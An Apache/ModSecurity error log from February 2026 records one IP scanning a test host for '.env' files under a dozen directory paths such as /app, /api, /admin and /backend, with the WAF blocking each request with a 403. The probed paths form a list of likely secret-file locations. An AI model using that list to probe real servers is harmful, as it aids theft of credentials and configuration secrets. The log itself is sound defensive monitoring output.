[Wed Feb 25 06:04:32.799036 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkwAAAAY&quot;]
[Wed Feb 25 06:04:32.845372 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3wAAAAU&quot;]
[Wed Feb 25 06:04:32.845656 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3wAAAAU&quot;]
[Wed Feb 25 06:04:32.845825 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3wAAAAU&quot;]
[Wed Feb 25 06:04:32.857234 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZlAAAAAY&quot;]
[Wed Feb 25 06:04:32.857502 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZlAAAAAY&quot;]
[Wed Feb 25 06:04:32.857679 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZlAAAAAY&quot;]
[Wed Feb 25 06:04:32.887938 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4AAAAAU&quot;]
[Wed Feb 25 06:04:32.888210 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4AAAAAU&quot;]
[Wed Feb 25 06:04:32.888401 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4AAAAAU&quot;]
[Wed Feb 25 06:04:32.939964 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4QAAAAU&quot;]
[Wed Feb 25 06:04:32.940261 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4QAAAAU&quot;]
[Wed Feb 25 06:04:32.940442 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC4QAAAAU&quot;]
[Wed Feb 25 06:04:33.206521 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UQAAAAE&quot;]
[Wed Feb 25 06:04:33.206809 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UQAAAAE&quot;]
[Wed Feb 25 06:04:33.207014 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UQAAAAE&quot;]
[Wed Feb 25 06:04:33.264111 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UgAAAAE&quot;]
[Wed Feb 25 06:04:33.264407 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UgAAAAE&quot;]
[Wed Feb 25 06:04:33.264602 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UgAAAAE&quot;]
[Wed Feb 25 06:04:33.279945 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWswAAAAQ&quot;]
[Wed Feb 25 06:04:33.280254 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWswAAAAQ&quot;]
[Wed Feb 25 06:04:33.280438 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWswAAAAQ&quot;]
[Wed Feb 25 06:04:33.306592 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtAAAAAQ&quot;]
[Wed Feb 25 06:04:33.306900 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtAAAAAQ&quot;]
[Wed Feb 25 06:04:33.307089 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ6C4Z6MLyC5r86Hx-ZWtAAAAAQ&quot;]
[Wed Feb 25 06:04:33.347111 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UwAAAAE&quot;]
[Wed Feb 25 06:04:33.347421 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UwAAAAE&quot;]
[Wed Feb 25 06:04:33.347620 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19UwAAAAE&quot;]
[Wed Feb 25 06:04:33.369464 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VAAAAAE&quot;]
[Wed Feb 25 06:04:33.369818 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VAAAAAE&quot;]
[Wed Feb 25 06:04:33.370033 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VAAAAAE&quot;]
[Wed Feb 25 06:04:33.396635 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VQAAAAE&quot;]
[Wed Feb 25 06:04:33.396940 2026] [:error] [pid 2312880] [client 185.177.72.13:2034] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ6C4Sn6hL63qXWzsp19VQAAAAE&quot;]
